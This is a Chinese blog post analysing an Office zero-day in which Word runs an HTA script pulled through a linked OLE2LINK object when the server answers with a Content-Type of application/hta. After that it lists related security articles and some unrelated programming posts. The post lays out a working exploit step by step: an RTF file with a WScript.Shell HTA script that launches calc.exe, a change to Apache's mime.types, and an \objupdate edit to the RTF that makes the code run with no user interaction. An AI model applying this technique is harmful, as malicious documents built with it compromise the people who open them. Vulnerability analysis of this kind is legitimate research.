最新OFFICE 0day漏洞分析
漏洞概述
fireeye最近公布了一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。
漏洞利用方法
首先准备一台apache服务器,web根目录下保存一个1.rtf文件,内容如下:
test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>
确保apache配置文件conf/mime.types里面有rtf的content type项:
application/rtf rtf
用word生成一个空白文档,然后在其中插入一个对象。
选择由文件创建,输入web服务器上1.rtf的URL,一定要选上“链接到文件”:
这时候会生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.1.108/1.rtf来更新对象内容。
此时在apache配置文件conf/mime.types中把
application/rtf rtf
修改成:
application/hta rtf
重启apache后,清除IE缓存:
再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件:
这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式:
用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:
把
{\object\objautlink\rsltpict
修改成:
{\object\objautlink\objupdate\rsltpict
保存文件再重新打开。此时无需用户交互就可直接运行hta脚本弹出计算器:
关键点在于objupdate,这个标签的作用是可以自动更新对象,因此无需用户交互。此时已经可以达到通过hta脚本执行任意代码的目的,至于hta脚本就是八仙过海各显神通了。
修复方案
下载微软紧急更新补丁:
https://support.microsoft.com/en-us/help/4014793/title
最新OFFICE 0day漏洞分析的更多相关文章
- 最新windows 0day漏洞利用
利用视屏:https://v.qq.com/iframe/player.html?vid=g0393qtgvj0&tiny=0&auto=0 使用方法 环境搭建 注意,必须安装32位p ...
- MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限
2016年9月12日, legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告 .由于该漏洞可以获得MySQL服务器的Root权限,且影响MySql5.5.5.6 ...
- CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析
漏洞简述 Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件. Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...
- cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析
用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...
- 书评第003篇:《0day安全:软件漏洞分析技术(第2版)》
本书基本信息 丛书名:安全技术大系 作者:王清(主编),张东辉.周浩.王继刚.赵双(编著) 出版社:电子工业出版社 出版时间:2011-6-1 ISBN:9787121133961 版次:1 页数:7 ...
- 《0day安全软件漏洞分析技术》学习笔记
最近因为工作需要在看0day的软件漏洞分析,发现这本<0day安全软件漏洞分析技术(第2版)>真是本好书,唯一缺点就是书上的环境是Windows XP 32Bit的,基于现状难以进行实践, ...
- 【漏洞分析】dedecms有前提前台任意用户密码修改
0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...
- Flash 0day漏洞(CVE-2018-4878)复现
该漏洞影响 Flash Player 当前最新版本28.0.0.137以及之前的所有版本,而Adobe公司计划在当地时间2月5日紧急发布更新来修复此漏洞. 本文作者:i春秋作家——F0rmat 前言 ...
- CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析
漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...
随机推荐
- 关于项目中根据当前数据库中最大ID生成下一个ID问题——(五)
1.关于部门管理时候根据上级产生下级部门ID的问题(传入一个参数是上级部门id)
- Add Two Numbers I & II
Add Two Numbers I You have two numbers represented by a linked list, where each node contains a sing ...
- Vue起步
Vue起步 Vue.js是什么 Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式javascript框架.与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用. ...
- Vue项目之IE下打开页面是空白
原因是:Babel 默认只转换新的 JavaScript 句法(syntax),而不转换新的 API ,比如 Iterator.Generator.Set.Maps.Proxy.Reflect.Sym ...
- L1和L2特征的适用场景
How to decide which regularization (L1 or L2) to use? Is there collinearity among some features? L2 ...
- No.4 selenium学习之路之iframe
查看iframe: 1.top window ——可以直接进行定位
- Effective STL 笔记 -- Item 9: Choose carefully among erasing options
假设有一个容器中存放着 int ,Container<int> c, 现在想从其中删除数值 1963,可以有如下方法: 1: c.erase(remove(c.begin(), c.end ...
- Inno setup 常用修改技巧
Inno setup 常用修改技巧1 .如何让协议许可页面默认选中我同意按钮 [code]procedure InitializeWizard();beginWizardForm.LICENSEACC ...
- overlay实现容器跨主机通信
本节内容: Docker容器跨主机通信方案 环境信息 升级内核 安装docker 防火墙设置和开启内核转发 安装启动consul 启动Docker 创建overlay network 创建容器 测试容 ...
- Hive(三)Hive元数据信息对应MySQL数据库表
概述 Hive 的元数据信息通常存储在关系型数据库中,常用MySQL数据库作为元数据库管理.上一篇hive的安装也是将元数据信息存放在MySQL数据库中. Hive的元数据信息在MySQL数据中有57 ...